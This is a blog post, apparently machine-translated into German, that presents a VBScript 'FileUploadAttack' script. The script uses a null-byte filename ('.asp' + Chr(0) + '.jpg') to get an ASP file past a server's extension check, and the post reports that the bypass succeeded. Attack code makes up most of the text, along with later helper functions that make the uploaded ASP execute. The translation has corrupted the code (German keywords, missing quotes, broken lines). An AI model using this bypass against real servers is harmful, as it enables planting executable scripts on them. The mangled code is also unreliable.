Einige der Skripte in diesem Artikel sind anstößig und dienen nur zum Studium und zur Recherche. Ich bin nicht für die verursachten Verluste verantwortlich und gebe keine technischen Ratschläge zu Hacking-Angriffen.
Demon erwähnte dieses Problem heute und es erinnerte mich zufällig an einen Artikel, den ich zuvor gesehen hatte: „Automatischer Datei-Upload mit IE+ADO ohne Benutzerinteraktion – VBSscript“. Dieser Artikel enthält ein Beispiel für ein lokales, nicht interaktives automatisches Upload-Skript. Das ursprüngliche Skript habe ich umgeschrieben und WinHttp.WinHttpRequest.5.1 verwendet, um eine ähnliche Funktion zu erreichen Weitere Informationen zur Verwendung dieser Komponente finden Sie in der „WinHttpRequest-Objektreferenz“.
Kopieren Sie den Code wie folgt:Option Explicit
Function file_get_contents(filename)
Dim fso, f
Set fso = WSH.CreateObject(Scripting.FilesystemObject)
Set f = fso.OpenTextFile(filename, 1)
file_get_contents = f.ReadAll
f.Close
Set f = Nothing
Set fso = Nothing
End Function
' Code geändert von http://www.motobit.com/tips/detpg_uploadvbsie/
Klasse FileUploadAttack
Privat m_objWinHttp
Privat m_strUrl
Privat m_strFieldName
Privat Sub Class_Initialize()
Set m_objWinHttp = WSH.CreateObject( _
WinHttp.WinHttpRequest.5.1)
End Sub
Private Sub Class_Terminate( )
Satz m_objWinHttp = Nothing
End Sub
Public Sub setUrl(url)
m_strUrl = url
End Sub
Public Sub setFieldName(name)
m_strFieldName = Name
End Sub
'Informationen im Formularfeld-Header.
Funktion mpFields(FieldName, FileName, ContentType)
Dim MPTemplate 'template Für mehrteilige Header
MPTemplate = Content-Disposition: form-data; name={field};
filename={file} + vbCrLf + _
Content-Type: {ct} + vbCrLf + vbCrLf
Dim Out
Out = Replacement(MPTemplate, {field}, FieldName)
Out = Replacement(Out, {file}, FileName)
mpFields = Replacement( Out, {ct}, ContentType)
End Function
'Konvertiert OLE-String in Multibyte-String
Function StringToMB(S)
Dim I, B
For I = 1 To Len(S)
B = B & ChrB(Asc(Mid(S, I, 1)))
Next
StringToMB = B
End Function
'Mehrteiliges/Formulardatendokument mit Dateiinhalten und Header-Informationen erstellen
Function BuildFormData(FileContents, Boundary, _
FileName, FieldName)
Dim FormData, Pre, Po
Const ContentType = application/upload
'Die zwei Teile umden
Dateiinhalt in den mehrteiligen Formulardaten
vbCrLf + mpFields(FieldName, _
FileName, ContentType)
Po = vbCrLf + -- + Boundary + -- + vbCrLf
'Formulardaten mit Recordset-Binärfeld erstellen
Const adLongVarBinary = 205
Dim RS: Set RS = WSH.CreateObject(ADODB.Recordset)
RS.Fields.Append b, adLongVarBinary, _
Len(Pre) + LenB(FileContents) + Len(Po)
RS.Open
RS.AddNew
Dim LenData
'Pre-String-Wert in binäre Daten konvertieren
LenData = Len(Pre)
RS(b).AppendChunk (StringToMB(Pre) & ChrB (0))
Pre = RS(b).GetChunk(LenData)
RS(b) =
'Po-Stringwert in Binärdaten umwandeln
LenData = Len(Po)
RS(b).AppendChunk (StringToMB(Po) & ChrB(0))
Po = RS(b).GetChunk(LenData)
RS(b) =
'Join Pre + FileContents + Po binäre Daten
RS(b).AppendChunk (Pre )
RS(b).AppendChunk (FileContents)
RS(b).AppendChunk (Po)
RS.Update
FormData = RS(b)
RS.Close
BuildFormData = FormData
End Function
Public Function sendFile(fileName)
Const Boundary = ---------------------------0123456789012
m_objWinHttp .Open POST, m_strUrl, False
m_objWinHttp.setRequestHeader Content-Type, _
multipart/form-databoundary= + Boundary
Dim FileContents, FormData
'Get Quelldatei Als Binärdaten.
FileContents = file_get_contents(FileName)
'Das Folgende erstellt die schädliche Dateierweiterung Chr(0) & .jpg
'Erstelle ein mehrteiliges/Formulardatendokument
FormData = BuildFormData(FileContents, Boundary, _
FileName & Chr(0 ) & .jpg, m_strFieldName)
m_objWinHttp.send FormData
sendFile = m_objWinHttp.Status
Endfunktion
Öffentliche Funktion getText()
getText = m_objWinHttp.ResponseText
Endfunktion
Endklassenfunktion
VBMain()
VBMain = 0
Dim fileUpload
Set fileUpload = New FileUploadAttack
„Der folgende Inhalt muss in den entsprechenden Inhalt geändert werden
“ URLfileUpload.setUrl
hochladen
http://localhost/upload/uploadfile.asp
fileUpload.setFieldName filepath 'Der Name des Upload-Formularfelds
' Der Pfad der hochzuladenden Datei.
Wenn fileUpload.sendFile(E:/projects/asp/index.asp)=200 Dann
wurde MsgBox erfolgreich hochgeladen& fileUpload.getText()
Else
MsgBox failedEnd
If
Set fileUpload = Nichts
Funktionsaufruf
beenden
Die Upload-Funktion WScript.Quit(VBMain())
ist ein einfacher Upload von ASP-Dateien, die im Internet gefunden und dann zum GetFileExtensionName hinzugefügt werden, den ich im Artikel „Der Ursprung von CHR(0) in ASP/VBScript und die Sicherheitsprobleme“ beschrieben habe es bringt" Bestimmen Sie, ob die Erweiterung jpg ist.
Die Testergebnisse sind: Manuelles Hochladen von ASP, fehlgeschlagen; Verwendung des oben genannten Angriffsskripts zum Hochladen von ASP-Dateien, erfolgreich! Es gibt zwar eine ASP-Datei im Upload-Verzeichnis, aber das Seltsame ist, dass die Anzeige hier leer ist. Ist es ein IIS-Versionsproblem? Den Binärstrom der Datei zurückgeben? Okay, lassen wir diese Frage erst einmal hier. Es gibt noch andere Dinge zu tun, also lasst uns zuerst aus dem Weg gehen.
Alle experimentellen Codepakete können hier upload.zip heruntergeladen werden (Codefehler finden Sie in den Update-Anweisungen unten).
Aktualisiert am 25. Dezember 2011.
Basierend auf dem Feedback aller wurde die hochgeladene Datei zu Unicode Little. Endian-Codierungsproblem, zunächst einmal tut es mir leid, weil ich damals sehr faul war. Die Hauptcodereferenz stammt von einem Ausländer, und der Ausländer hat die GetFile-Funktion zum Abrufen von Dateibinärdaten nicht gefunden Ich war zu faul, um mit File_get_contents Textdaten zu erhalten faul und konvertieren Sie die Textdaten auf der vorhandenen Basis direkt in Binärdaten. Mit der ADODB.Stream-Komponente lautet die Funktion wie folgt:
Kopieren Sie den Code. Der Code lautet wie folgt:
„Konvertieren Sie die Zeichenfolge str des angegebenen Zeichensatzes in eine binäre
Funktion strtobin(str, charset)
mit WSH.CreateObject(ADODB.Stream)“
. Type = 2
.Mode = 3
. Open
.Charset = charset
.WriteText str
.Flush
.Position = 0
.Type = 1
strtobin = .Read()
.Ende
mit
Endfunktion
schließenÄndern Sie dann Zeile 106 des obigen Codes wie folgt (lesen Sie den Text in ASCII):
Kopieren Sie den Code wie folgt:
FileContents = strtobin(file_get_contents(FileName), ASCII)
Die nach dieser Änderung hochgeladene ASP-Datei lautet „Normalerweise“. Wenn Sie eine verschlüsselte Datei erstellen und der Browser dann auf diese Datei zugreift, können Sie sehen, dass der ASP erfolgreich analysiert wurde.
Dies erscheint jedoch etwas ausführlich. Tatsächlich können Sie die Datei direkt im Binärformat öffnen und die Daten zurückgeben. Hier sind zwei Schritte erforderlich: 1. Lesen Sie die Datei im Textmodus. 2. Konvertieren Sie den Text in Binärdaten. Der einstufige Code kann sich auf die folgende Funktion beziehen, die Dateidaten im binären Byte()-Modus liest:
Kopieren Sie den Code wie folgt:
„Gibt Dateiinhalte als Binärdaten zurück
Funktion GetFile(FileName)
Dim Stream: Set Stream = CreateObject(ADODB .Stream )
Stream.Type = 1 'Binary
Stream.Open
Stream.LoadFromFile FileName
GetFile = Stream.Read
Stream.Close
Set Stream = Nothing
End
Ich werde nicht den optimierteren Code vonFunction
schreiben. Er erklärt hauptsächlich eine Upload-Idee. Wenn Sie eine vollständige Upload-Implementierung erhalten möchten, können Sie sich auf Demons „VBS Simulation POST Upload File“ beziehen.